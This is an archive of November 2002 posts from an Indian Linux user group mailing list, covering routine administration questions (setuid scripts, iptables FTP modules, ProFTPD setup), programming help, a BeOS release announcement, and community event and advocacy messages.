Hello all, I have a script which is going to add a new user to the system. I am using PHP to execute that script, I have a suid on that script (shell script). But I get permission denied in the logs, the page opens well in the browser. I tried the following, changing the owner of the script to apache and root while giving it 711 permission and 4711 permission. But all does not work. It seems that apache just reads the file and execute the commands in it. How can I execute a script in any folder (on the system) as root. Bye.

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Fw: [ILUG-BOM] Linux Lunacy at Arnala Beach resort.........need a critcal mass of 50
by Trevor Warren 24 Nov '02

24 Nov '02

Hello luggers...:( Luggers.....if i don't have a mass of 50PPL there can't be a trip...besides there won't be sufficient funds to arrange for the BUS. Help us make this a SUCCESSFUL EVENT. After all, we are all here to share our knowledge and learn at the same time. Pls don't dash my hopes. Bye for now. Trevor >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >Forwarded message >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> GNU/Linux Lunacy at Arnala Beach Resort. Coming December 22nd we plan to have a fun fill trip along with a lot of geek speakers and tons of linuxers participate wociferously in debates .... Lay back in the pool and bask in a shade of cocunt tree with a glass of ...... in ur hand at the arnala beach resort. Registrations close on December 10th, for registration go here. http://mlasia.mine.nu/ilug/ For Queries contact : Cost for the same of Rs. 225/ inclusive of travel and food, to be sent to the address provide on the registration form. REGISTRATION WILL BE CONFIRMED ONLY AFTER RECIEVING THE APPROPRIATE AMOUNT. Trevor -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/ _______________________________________________ http://mm.ilug-bom.org.in/mailman/listinfo/linuxers -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/

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creating Desktop shortcuts form java program
by kshitijv 24 Nov '02

24 Nov '02

Hello Luggers, I am developing a cross platform installer in java. I need to create desktop shortcuts and start menu item on Unix/Linux. I am considering KDE, GNOME, Openwin and CDE as target GUI for Unix/Linux systems. I am a newbie for GUI programming on Unix/Linux. Can anybody help me to accomplish this? I am ready for using any native code if required. It will be great if I can get insight with respect to nature and structure of shortcut (link) files. Is there any readymade library (docs) of APIs like we have MSDN for windows? -Kshitij kshitijv e-mail: kshitijv(a)forindia.com

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Mumabi Linux tour
by mails＠munshi.dyndns.org 24 Nov '02

24 Nov '02

Hi, How about having a tour around the city, visiting as many hardware assemblers and teaching them basic installation of linux (hope we agree on a distribution which we can install in front of them). My hardware vendor have engineers who are prety smart but have never used linux so do not know much about it and can not support my system. Since many assemblers take a risk by giving pirated softwares with their PC's they may like this idea. Also Linux will gain a upper hand in being the first OS that people get on their PC and problems with learning a new OS will not exist for linux anymore. We will be fighting propritary software right the at the root. The negative side will be that their software modems and printers (which are cheaper) will not make a market so they may even resist this. We also can ask them (the assemblers and the new users) to subscribe to our mailing list to ask for help. I would suggest an easy to use distribution like Mandrake, or caldera. I would really prefer caldera since it fits on a single CD and assemblers can easily provide a copy of with every comp they sell. Also caldera has limited number of applications, for example just 1-2 broswers, which can be quiet helpful for newbies to computers, also I have not heard a lot of flames for caldera as there are for RH and mandrake. On the other hand, Mr. Rajeev had a problem with Myson NIC which worked under Mandrake, but the kernel module would not compile under most of the other distributions. This is finally just an idea guys, may be there is something very wrong in this idea and may not work at all. Bye

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Re: [ILUG-BOM] iptables and ftp
by Amish Mehta 24 Nov '02

24 Nov '02

slash_axl_rose$upen$ wrote: >when a client tries to ftp what he sees is that iptables goes down?? I dont know what you mean by iptables goes down. But if you mean client cant FTP then you need to add two modules by running following commands as root. modprobe ip_conntrack_ftp modprobe ip_nat_ftp Amish.

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iptables and ftp
by slash_axl_rose(upen) 24 Nov '02

24 Nov '02

Hi my friends having one problem having iptables firewall in gateway ok when a client tries to ftp what he sees is that iptables goes down?? why is this?? thnx in advance --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now

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Re: creating Desktop shortcuts form java program
by kshitijv 24 Nov '02

24 Nov '02

Hi Trevor, I need to create shortcuts to only HTML files (startup files for installed application). I have KDE and GNOME installed. I searched for the directories and found that KDE Desktop shortcuts are in Desktop directory in user's home. The K menu items are in /usr/share/applnk/. I was able to create Desktop shortcuts for KDE. But... On our system, the "users" group doesn't have write permission on menu directory. Also for GNOME its files are in /usr/share/gnome/apps/ where "users" don't have write permission. My client will be a normal user who will use the installer and should be able to create shortcuts for him without needing special access previlages. I tried to create files in user's home directory but they didn't reflected in start menu. For GNOME I could not create Desktop shortcuts also. If I create them manullay (right click desktop and select new link item) the corresponding files that are created have some generated names like "url13546" etc. and contain a single line like URL: file:/home/kshitij/myfile.htm If I create similar file (say testlink) it doesn't work. Also no HTML icon is displayed. You talked about some project pages. Can you forward me links to them? Thnaks for help. -Kshitij > > a newbie for GUI programming on Unix/Linux. Can anybody help me to > > accomplish this? I am ready for using any native code if required. > [snip] > > You won't need any native code to create shortcuts on KDE/Gnome > desktops. > > > > > > > > It will be great if I can get insight with respect to nature and > > structure of shortcut (link) files. Is there any readymade library > > (docs) of APIs like we have MSDN for windows? > [snip] > > You can check out the respective projects pages where you will find > tons of documentation of the same. > > > I suggest you install KDE and Gnome and then go through the directories > it creates for all system users in their home directories. This will > tell you where to just create those shortcuts. > > > This is rocket science pal...Just try out what i just said. > > Bye for now. > > Trevor > > > > > > > -Kshitij > > > > kshitijv > > e-mail: kshitijv(a)forindia.com > > > > kshitijv e-mail: kshitijv(a)forindia.com

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[OT] BeOS Max Edition v2.1 Released
by Prakash Shetty 23 Nov '02

23 Nov '02

Hello linuxers, BeOS Max Edition v2.1 has been released Download : http://www.bebits.com/app/3148 Home : http://vasper.net Forums & FAQ's : http://crux.sourceforge.net/nuke/index.php BeOS 5 PE Max Edition V2.1 Release Notes: System - Installation Boot-CD - Standard Installation-Resolution is now 1024x768 Pixel (changed in MAX Edition) - Include BeOS Update 5.0.3 and FTP security Patch - Include BeOS Developer Tools and BeIDE - Include the OpenTracker 5.1.5 - Include LocaleTracker 1.3.1 (added in MAX Edition V2) - Include the ProcessController 3.1 - Include Pulse Replacement for AMD Processors - Include APM-Driver to use power management functions in a notebook PC or an ATX PC - Include Athlon XP Patch with SSE Enabled (added in MAX Edition) - Enabled HLT command for software cooling. Brings CPU Temperature down. (added in MAX Edition V2.1) - New Uninstall Application in Prefernces - We make a Menu-Link in Applications for the Package Builder - Add a Printer for Write PDF Documents - Add 2 new Open GL Demos to the Demo Menu - Create "/boot/home/download" directory for all downloads - Create "/boot/home/media" directory for all media data (e.g. avi, jpg, mpeg etc.) - Create "/boot/home/config/settings/uninstall" directory for the uninstall Information - Create "/boot/home/config/be/Startup" as a autostart directory - Create "/boot/develop/experimental" directory for experimental application - Create "/boot/develop/src" directory for source code - Create "/boot/home/Desktop/Work" directory as a work folder (temp) (added in MAX Edition) - Create "/boot/home/Desktop/Other Drivers" Directory which includes experimental drivers (added in MAX Edition) - Create "/boot/home/logs" Directory for log files of installations. (added in MAX Edition V2.1) - Added some BeOS Links to Netpositive - Added MP3 Tags&Attributes incl. Tracker Add-On - Added Summon Tracker Add-on (added in MAX Edition) - Added ImageMounter Tracker Add-on (updated in MAX Edition V2.1) - Added Tracker Grep Tracker Add-on (added in MAX Edition) - Added MenuKey Input Server Add-on (added in MAX Edition V2) - Added Sensor2 kernel driver (added in MAX Edition V2.1) New Drivers - Graphics Driver for NVidia RIVA 128, RIVA 128ZX, RIVA TNT, RIVA TNT2, RIVA TNT2 Ultra, RIVA TNT2 Vanta, RIVA TNT2 M64, RIVA TNT2 Aladdin, GeForce 256, GeForce 256 DDR, GeForce2 MX, GeForce2 GTS, GeForce2 Ultra, Quadro, Quadro2 MXR, Quadro2 Pro, GeForce3) - Graphics Driver for S3 S3 Savage3D, Savage3D-MV, Savage/MX, Savage/MX-MV, Savage4 VIA ProSavage PM133, PL133, PN133, KM133, KL133, KN133, KM266 - Graphics Driver for S3 Trio64 (V+ and V2/[GX,DX]) - Graphics Driver for Matrox G100, G200, G400, G450, G550 (updated in Max Edition V2.1) - Graphics Driver for ATI Mobility 1.0b6 (updated in Max Edition V2.1) - Graphics Driver for ATI Rage128 Pro GL (updated in Max Edition V2.1) - Graphics Driver for ATI Radeon (updated in Max Edition V2.1) - Graphics Driver for Intel i810,i815 (added in MAX Edition) (Other Drivers directory on Desktop) - Network Driver for SIS900 (added in MAX Edition V2.1) - IDE Driver Promise Ultra 100TX2 (added in MAX Edition V2.1) - Modem Drivers Package (added in MAX Edition) - PC Card Wizard 1.12 for PCMCIA Network Cards (added in MAX Edition) (Other Drivers directory on Desktop) - CDBurn Driver iso9660 with multi-session support - Translator: Giftranslator 1.3 - Translator: Giftranslator Original (added in MAX Edition V2) - Translator: PSDTranslator with source (in /boot/develop/src) - Translator: ICOTranslator (Windows Icons Translator) - Translator: GFLTranslator - Translator: MNGTranslator - Hybrid DivX 1.3.0.4 (updated in MAX Edition V2.1) - PPPoE DSL driver (added in MAX Edition) (Other Drivers directory on Desktop) - Vesa Accepted 1.1 (added in MAX Edition V2) (Other Drivers directory on Desktop) - Audio Driver for ICH AC97 (added in MAX Edition V2.1) - Audio Driver for CM8338/8738 (added in MAX Edition V2.1) - Audio Driver for Sound Blaster 16 (added in MAX Edition V2.1) - Patch for eepro 100 Network card. Development - orginal gnutools (added in MAX Edition V2) - gnutools (binutils-2.10.1 / gcc-2.95.3) - Perl 5.0.0.5.3 - autoconf-2.53 (Updated in MAX Edition V2) - automake-1.62 (Updated in MAX Edition V2) - libtool-1.4.1 (Updated in MAX Edition V2) - Jam 2.4 (a Make replacement, needed for openbeos) (Updated in MAX Edition V2) - the CVS 1.11+1 System - the BeIDE - the PackageBuilder for pkg Packages - all Important Libs (libbepdf.so, libglib-1.3.so.1, libbzip2.so, libsanta.so, libimagemanip.so, liblayout.so, libfreetype.so, libxpdf.so, libcid2utf8.so, splocale.so) - OpenGL Glut Lib with source (in /boot/develop/src) - BeXL 2.0b3 Demo (added in MAX Edition) (updated in MAX Edition V2) - Visual Be++ 1.3 Demo (added in MAX Edition) - QuickStrip v1.2 Demo (added in MAX Edition) - SDL Main Library 1.2.3 (added in MAX Edition V2) - SDL Game Libraries 1.2.2 (added in MAX Edition V2) - BeKaffe DR2 (added in MAX Edition V2.1) - Resourcer (added in MAX Edition V2.1) Tools - Mozilla v1.1.1 (updated in MAX Edition V2.1) - AbiWord 1.0 (updated in MAX Edition V2) - Gobe Productive 2.0 Trial (added in MAX Edition V2) - PGP50i - PDF Writer 1.5.b2 (updated in MAX Edition V2) - PDF Reader 0.9.4b (updated in MAX Edition V2) - Macromedia Flash for BeOS (added in Max Edition V2.1) - SSH Client1.2.26 - BeShare 2.16 to share your application with all beos users (updated in MAX Edition V2.1) - BFS-Tools-0.7.0 (bfsindex, chkindex, recover) - CDR-Tools-1.8 and CDrecord (mkhybrid, mkisofs, cdrecord, readcd, isodump, isovfy, isoinfo, dump) - Helios CD-Writer Tool with Drag and Drop Support - NetPenguin FTP Client 1.64 - wget 1.8.2 (updated in MAX Edition V2) - w3m Shell Internet Browser - Lha 1.14i (updated in MAX Edition V2) - Added Cron and Crontab - bzip2 (updated in MAX Edition V2) - man 1.5g - BeThemes Beta (added in MAX Edition) - MemoChip (added in MAX Edition) - International Keymap 1.11 (added in MAX Edition) - Switcher 1.0.4 (added in MAX Edition) - Clean-Up Manager (added in MAX Edition V2.1) - Calculator (added in MAX Edition V2.1) - EuroConverter (added in MAX Edition V2.1) - Vision 0.9.5 IRC Client (added in MAX Edition V2.1) - SimpleBackup 1.20 (added in MAX Edition V2.1) Graphics (section added in MAX Edition) - Blender 2.11 Demo (added in MAX Edition) - Moho 2.0 (added in MAX Edition) - BePhotoMagic 0.62 Beta (updated in MAX Edition V2) - Personal Studio 1.5 (added in MAX Edition) - Batterfly Image Viewer (added in MAX Edition) - Desktop Studio (DarkRoom,DeskCamera) (added in MAX Edition) - Beatware e-Picture 1.0 (added in MAX Edition V2.1) Media - Screensaver: Nebular (cool Bump Effect, test it) - Screensaver: Matrix - Screensaver: OpenBeOS 2.0 - StampTV 3.0 (added in MAX Edition) - CL-Amp Winamp clone (added in MAX Edition) - VLC 0.4.4c (updated in MAX Edition V2) - VolumeControl 0.99 (added in MAX Edition V2.1) Games (section added in MAX Edition) - 4 Wins (added in MAX Edition) - Abuse 2.0 Demo (added in MAX Edition) - BePacDeluxe (added in MAX Edition) - Diamond Girls (added in MAX Edition) - Mahjongg 1.6 (added in MAX Edition) - Morphy (added in MAX Edition) - Doom (added in MAX Edition) - Heretic (added in MAX Edition) - SimuTrans 0.8.1 (added in MAX Edition V2) - FreeCraft (added in Max Edition V2.1) - Snake Deluxe (added in Max Edition V2.1) - Invaders SDL (added in Max Edition V2.1) Please publish your future BeOS Application with the PackageBuilder (in Application\Development Menu) to use the new uninstall function. BeOS 5 PE Max Edition v2.1 Based on BeOS Personal Edition 5 Best regards, Prakash Shetty mailto:pshetty@gmx.net

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Linux Lunacy at Arnala Beach resort.........Cmoon. Register Luggers ASAP
by Trevor Warren 23 Nov '02

23 Nov '02

GNU/Linux Lunacy at Arnala Beach Resort. Coming December 22nd we plan to have a fun fill trip along with a lot of geek speakers and tons of linuxers participate wociferously in debates .... Lay back in the pool and bask in a shade of cocunt tree with a glass of ...... in ur hand at the arnala beach resort. Registrations close on December 10th, for registration go here. http://mlasia.mine.nu/ilug/ For Queries contact : Cost for the same of Rs. 225/ inclusive of travel and food, to be sent to the address provide on the registration form. REGISTRATION WILL BE CONFIRMED ONLY AFTER RECIEVING THE APPROPRIATE AMOUNT. Trevor -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/

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mail command
by Girish Hanchate 23 Nov '02

23 Nov '02

Hi How to attach file in mail command. rgds girish __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus � Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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Re: [ILUG-BOM] Linux Lunacy at Arnala Beach resort.
by jtdsouza＠softhome.net 23 Nov '02

23 Nov '02

On Saturday 23 November 2002 10:07, Mitul Limbani wrote: > GNU/Linux Lunacy at Arnala Beach Resort. Where is that rgds jtdesouza(a)yahoo.com

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Re: [ILUG-BOM] Assembler Workshop
by mails＠munshi.dyndns.org 23 Nov '02

23 Nov '02

Hi, Sorry for this mail in this fasion, but there is a temporary problems at my place, Speaking of Voice Chat, just hold on for approx 2 months, you are going to be amazed by the software I am making right now, It will be easy to use, secure and ofcourse opensource under GPL (thanks to sandeep for providing insight into the licences the other day). I am writing a basic overview will be put up on the net in day or so, it is a final year project for me, and I am doing this for IIT. Wish me luck till then. I have tried to use Gnomemeeting but somehow never managed to find user who is ready to voice chat with me. Probably some day I will do a VNC with my self and check gnomemeeting and netmeeting connectivity and also test my software (called as VChat) with it. See ya, and sorry for this ugly mail. Bye.

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proFTP permissions
by Amish Munshi 23 Nov '02

23 Nov '02

Hi, I installed proftpd after sufferring from a trojan for wu-ftpd, my problems are as follows 1. I was a different permission for a users file which are being uploaded. So if a user ftp's to my site and uploads the file then it should have 755 permission, (I am hosting a few perl scripts for a friend of mine and would like them to be executable for all) 2. I want to start the server automatically during boot, I did create a ftp file in the xinetd.d as mentioned in its docs dir and restarted the xinetd daemon, but it does not start. Presently I as starting it using rc.local, and it is starting automatically, but I would like to do it the right way either using the tcp wrappers (xinetd) or the BSD style rc?.d/ way. Thanks in advance. Bye.

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pstotext src/rpm needed
by Sankha Subhra Som 22 Nov '02

22 Nov '02

Does neone have a copy of the pstotext program> The compaq virtual paper link turned out to be a dud. Sankha -- SANKHA SUBHRA SOM ATC - BIOINFORMATICS TCS KLK BUILDING. HYDERABAD-1 Ph:(040)6787980-1024 ******************************************************** An anonymous digitoid ******************************************************** OK, who stopped payment on my reality check?

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dynsmic ip
by Prasad 21 Nov '02

21 Nov '02

hi all i am working on a RH 7.3 and my internet service provied me dynamic IP address,because of which whene ever ON my comp i have new IP address, so i always have to go to site and update it evrytime,so that i can receive mails in my mail client ,i also have Win Xp and i have installed one software which automatically updates the IP because of which i don't have to go to site and update it , so here i just want to know that whether i can do the sam in linux... will be waiting for the reply . prasad

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filesystem repairs on mounted systems.
by Abhijeet D Mhatre 21 Nov '02

21 Nov '02

Hi Friends I want to carry out some file system repairs (fsck, badblocks, etc) The problem is that I want to carry out the repairs on my root partition and swap partitions but when my system boots those partitions are already mounted. There should be a way in which, after my system boots I unmount the partitions or else my system boots such that the partitions are not used at all. regards Abhijeet D Mhatre

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getch in linux
by Hrushikesh Tilak 21 Nov '02

21 Nov '02

Can I use getch in C program with using gcc? Do i have to insert some header? Or can I use it by doing something else? Is there any substitue function for it? Please Help! Thanks in advance! Hrushikesh Tilak. _________________________________________________________________ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail

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PINE on command line
by Girish Hanchate 21 Nov '02

21 Nov '02

If u want to send the mail thru command line use mail command. Mail command has all features of pine. rgds girish Hi, How do i send e-mail using pine in command line(by forcing pine not to enter edit mode)??? Any pointers will be useful. Sankha __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus � Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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getch in linux
by Hrushikesh Tilak 20 Nov '02

20 Nov '02

Can I use getch in C program with using gcc? Do i have to insert some header? Or can I use it by doing something else? Is there any substitue function for it? Please Help! Thanks in advance! Hrushikesh Tilak. _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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Linux diskless workstn
by Kamlesh Shah 20 Nov '02

20 Nov '02

Anybody... We are looking for supplier of case, power supply, mother board etc for disk-less linux workstation of very small size. Let me know if any of you are aware of such supplier and I'll be thankful. Regards Kamlesh Shah

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Big in 2003 - the SuSE desktop?
by Kiran Nadgir 20 Nov '02

20 Nov '02

http://www.silicon.com/bin/bladerunner?REQUNIQ=1037770745&REQSESS=10248178&… ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ "When one door of happiness closes, another opens; but often we look so long at the closed door that we do not see the one which has opened for us." -Helen Keller ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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What's the fuss about... UnitedLinux
by Kiran Nadgir 20 Nov '02

20 Nov '02

http://www.silicon.com/bin/bladerunner?30REQEVENT=&REQAUTH=21046&14001REQSU… ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ "When one door of happiness closes, another opens; but often we look so long at the closed door that we do not see the one which has opened for us." -Helen Keller ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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Fwd: [ragu@vsnl.com: [Fsf-friends] a memo and the IT@School Project]
by Nagarjuna G. 20 Nov '02

20 Nov '02

----- Forwarded message from Raghavendra Bhat <ragu(a)vsnl.com> ----- > Date: Tue, 19 Nov 2002 21:55:49 +0530 > From: Raghavendra Bhat <ragu(a)vsnl.com> > Subject: [Fsf-friends] a memo and the IT@School Project > To: fsf-friends(a)gnu.org.in > User-Agent: Mutt/1.5.1-current-20020808i > > Members of FSUG-Kochi have submitted a memorandum to the Government of > Kerala regarding the choice of software and syllabus prescribed for > the IT@School project. Link up and read the full memo at > > http://www.symonds.net/~fsug-kochi/mass-memo.html > ----- End forwarded message -----

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Fwd: Netbios name of windows machine from its IP
by Varun 20 Nov '02

20 Nov '02

Varun <varunop(a)yahoo.com> wrote:From Varun Tue Nov 19 01:55:26 2002 Received: from [203.197.45.67] by web40810.mail.yahoo.com via HTTP; Tue, 19 Nov 2002 01:55:26 PST Date: Tue, 19 Nov 2002 01:55:26 -0800 (PST) From: Varun Subject: Netbios name of windows machine from its IP To: linuxers-admin(a)mm.ilug-bom.org.in MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-340251462-1037699726=:6162" Content-Length: 512 In a LAN of windows and linuc machines how do I find the netbios name of the windows machine from its IP address. I need to know as there is a conflict in IP address in my college between the linux and windows machine and I cannot find the windows machine as there are around 150 computers. Geek by Nature Linux by choice If Linux doesn't have the solution, you have the wrong problem mailto: varunop(a)yahoo.com --------------------------------- Do you Yahoo!? Yahoo! Web Hosting - Let the expert host your site Geek by Nature Linux by choice If Linux doesn't have the solution, you have the wrong problem mailto: varunop(a)yahoo.com --------------------------------- Do you Yahoo!? Yahoo! Web Hosting - Let the expert host your site

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MP tells Gates it prefers Linux
by Tahir Hashmi 20 Nov '02

20 Nov '02

The Economic Times, Nov 20, 2002, pg 10 <quote> MP tells Gates it prefers Linux BHOPAL: Madhya Pradesh, with it's mantra of IT for masses is all set to go the Linux way. Chief Minister Digvijay Singh personally conveyed this message to Microsoft boss Bill Gates during their interaction last week in New Delhi. Madhya Pradesh has thus become the first Indian state to make a definitive choice in favour of open source software in the government system. "For us it is not a question of Microsoft versus Linux. We have nothing against Microsoft or Mr Bill Gates. It's just a matter of choosing between a free software and a monopoly. We feel that when we are putting public information out in the open, then it should not be through a proprietary software," Mr Singh told ET. </unquote> -- Tahir Hashmi (VSE, NCST) http://staff.ncst.ernet.in/tahir tahir AT ncst DOT ernet DOT in We, the rest of humanity, wish GNU luck and Godspeed

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[OT] fun ways to waste time
by Sameer D. Sahasrabuddhe 20 Nov '02

20 Nov '02

http://www.ibiblio.org/pub/Linux/games/!INDEX.html -- MTech Student, Reconfigurable Computing Lab, KReSIT, IIT-Bombay. ---------------------------------------------------------------------- Q: How many Marxists does it take to screw in a light bulb? A: None: The light bulb contains the seeds of its own revolution.

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Sending messages using pine in command line
by Sankha Subhra Som 20 Nov '02

20 Nov '02

Hi, How do i send e-mail using pine in command line(by forcing pine not to enter edit mode)??? Any pointers will be useful. Sankha -- SANKHA SUBHRA SOM ATC - BIOINFORMATICS TCS KLK BUILDING. HYDERABAD-1 Ph:(040)6787980-1024 ******************************************************** An anonymous digitoid ******************************************************** We are born naked, wet, and hungry. Then things get worse.

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PS to PDF: argh!
by Satya 19 Nov '02

19 Nov '02

So I have a nice copy of my resume in PS, thanks to Openoffice and a certain OS's printer drivers. But when I convert the PS to PDF in Linux (gs 5.10), I get awful output -- Type 3 fonts in the PDF. Why? Any way to fix? And the workaround seems to be to use gsview on the afore-unmentioned OS and print to PDF -- except the pdfwrite device does not exist. Why? gsview and gs on the unmentionable OS (yeah ok, XP) are the latest versions, downloaded today. -- Satya. <URL:http://satya.virtualave.net/> I need a job! Perl, Apache, Linux, C. http://www-scf.usc.edu/~phanse/resume.pdf May the Source be with you!

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Re: wrong system date on Linuxers digest, Vol 1 #742
by Parul Mathur 19 Nov '02

19 Nov '02

On Tue, 2002-11-19 at 12:44, linuxers-request(a)mm.ilug-bom.org.in wrote: ^^^^^^^^^^ > Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in List admin, please fix the system date on the mail server. Thanks. Parul --__--__-- Fascinating, a totally parochial attitude. -- Spock, "Metamorphosis", stardate 3219.8

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Programming Bootloaders
by Amol Hatwar 19 Nov '02

19 Nov '02

One of my friends is trying to get into hacking bootloaders. Most of them are based on C and Assembly. Has somebody been this way before? And is it possible to get it done without keeping all the rigisters in your brain ;) (i.e. w/o assembly). Regards, -ah

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distro for installfests
by Ashish Kulkarni 19 Nov '02

19 Nov '02

http://interviews.slashdot.org/article.pl?sid=02/11/18/141251 Hey guys, After reading this slashdot article, I was really struck by the point made there, that you could use a Knoppix Linux _without any chance of damage to your PC_. It's based on Debian, and it's perfect for those who wanna evaluate it. (For those hearing for the first time, it's a "Live" CD -- ie no need to install, just boots off the CD). I've noticed that LinuxPlaza has it too :-) What do you think? - A.

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Re: [ILUG-BOM] Programming Bootloaders
by Hemant Mohapatra 18 Nov '02

18 Nov '02

On Tue, 17 Dec 2002, Amol Hatwar wrote: > are based on C and Assembly. > > Has somebody been this way before? And is it possible to get it done without > keeping all the rigisters in your brain ;) (i.e. w/o assembly). Hacking into bootloaders is always a painful task. Yes, it IS doable without keeping all the registers in your brain and No you can not do it without assembly. Writing all the important registers on paper would surely help a lot. :) The easiest way is a small hack into the bootloader, which would be then be placed at the start of SDRAM, to take the kernel bootable from some other location in memory. Again, techniques depend from chip to chip. Take your pick. I don't think in this hack you can intervene the loader via serial port/etc/etc and the loader would directly access that location but I am not sure of this feature. Which bootloader would you use? Choose one with minimal appendages. hth _h

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linux lunacy 22dec yes or no??
by Gurpreet Singh 18 Nov '02

18 Nov '02

HI I AM SHOUTING AT THE TOP OF MY VOICE NOW SO THAT SOMEONE GETS SOME ATTENTION ON THIS HAVE ASKED THIS 3 TIMES ON THE LIST BUT HAVE GOT NO ANSWERS. ** IS LINUX LUNACY FOR 22DEC CANCELLED OR IS IT BEING DONE ???????????????????????????????? ** PLZ FELLOWS REPLY TO THIS ONE ON WHAT U KNOW ABT IT COZ I M NOT IN MUMBAI AND HAVE TO PLZN FOR IT.... sorry if i was very rude gurpreet Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

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Hi
by Abhijeet D Mhatre 18 Nov '02

18 Nov '02

Hi Abhijit Your requirement seems quite straightforward. 5 comps in client server. Does that mean 5 comps in lan with one router (Gateway) one file server etc. It should work smoothly. What are the problems you are exactly facing ? Where is your setup located ? Regards Abhijeet

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Re: [ILUG-BOM] [LIH]Are you a cyberoam 24online user? (fwd)
by Hrushikesh Tilak 18 Nov '02

18 Nov '02

There is an cyberoam client on http://sourceforge.net/projects/cyberoam/ It works fine except that since it dows not have a gui as thw Windows client, you cannot get the broadcast messages from the cyberoam server. >From: Philip S Tellis <philip(a)konark.ncst.ernet.in> >Reply-To: linuxers(a)mm.ilug-bom.org.in >To: Linux Users <linuxers(a)mm.ilug-bom.org.in> >Subject: [ILUG-BOM] [LIH]Are you a cyberoam 24online user? (fwd) >Date: Mon, 18 Nov 2002 11:07:32 +0530 (IST) > >Please Cc the OP when replying. > >---------- Forwarded message ---------- >Date: Mon, 18 Nov 2002 06:07:36 +0530 >From: Sandip Bhattacharya <sandip(a)linux-delhi.org> >Reply-To: linux-india-help(a)lists.sourceforge.net >To: ILUGD Mailing list <ilugd(a)wpaa.org>, > Linux India Help <linux-india-help(a)lists.sourceforge.net> >Subject: [LIH]Are you a cyberoam 24online user? > > >[Warning:Crossposted. Watch where you reply] > >Hi! > >1. I wanted to know how many of the folks around here are using > cyberoam 24online based cable networks. > >2. If you have, what have been your experiences with using it on > Linux. > a. Have you asked your cable network wallah about using the network > with Linux clients? > b. Or, have you given up and decided to use the windows machine for > accessing the Net > >3. Are you still interested in finding out a way of using these > networks using Linux? > >- Sandip > >-- >-------------------------------------------------------- >Sandip Bhattacharya >sandipb <@> bigfoot.com >http://www.sandipb.net GPG/PGP: 0x08EB637C >-------------------------------------------------------- > > >_______________________________________________ >http://mm.ilug-bom.org.in/mailman/listinfo/linuxers _________________________________________________________________ Help STOP SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail

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Linux Publicity is important now
by Prince 18 Nov '02

18 Nov '02

Subject: Linux Publicity Started in Mumbai Hello this is Yashraj , Remeber me [ the photographer in LINUX MEET + Linux Lover ] any way ! what i have done i will explain : i am back from PEN [ where my college is ] i put the complete idea abt Linux Awareness & Projects in front of HOD & Students association the seminar is fixed in FEB or so . The topics which i think to start with : 1] Easy way computing : that's abt M$ windows , cause people are using windows now ........so let's make clear abt nay of the doubts in that OS , giving the suggestion of TIPS & tricks & best softwares , easy softwares The Details : Easy Way Computing : Topics : Windows Environment Why Windows ? Overview of all the Best softwares for Windows Now how you use windows ? What maxmum you can do with windows ? What Professionals are doing with Windows ? Windows Operating in Most easy way Windows with " General Failure Error " Windows & MAC Windows & Linux Linux Awareness : Topics : What is Linux ? Why Linux ? Comparision between Windows & Linux Linux everywhere & no windows Linux Distributions * Linux's X-Windows Linux Applications * Industry Demand for Networking [ Network Engineers ] * Software Development in Windows & Linux * Hardware level / System Level Programming Future Scope in Linux , that's Job ! Use Linux & feel proud about it ! Projects for Engineering Students : Topics : Why not Software Projects ? Why software Projects ? What to Develop ? How to Develop ? What 's the value of our Project ? Relation of your Projects & Jobs Linux Platform for Development What you will Learn ? In future you will be with whome ? What you will know at the End of Project ? Join Linux User's Group & Open Source Revolution What about Scope in Hardware , Hardware - Software ? Does Networking comes under this ? Can we do or get Study Projects based on Latest Technology ? Are you Ready ? SourceForge Projects : Communications (6335 projects) Database (2499 projects) Desktop Environment (1474 projects) Education (1173 projects) Games/Entertainment (5937 projects) Internet (9823 projects) Multimedia (4808 projects) Office/Business (1848 projects) Other/Nonlisted Topic (1044 projects) Printing (174 projects) Religion (112 projects) Scientific/Engineering (3211 projects) Security (1106 projects) Sociology (124 projects) Software Development (6702 projects) System (7905 projects) Terminals (250 projects) Text Editors (1093 projects) ### i will be taking these things in college as a Seminar cum TALKSHOW ! ######## what you think abt it 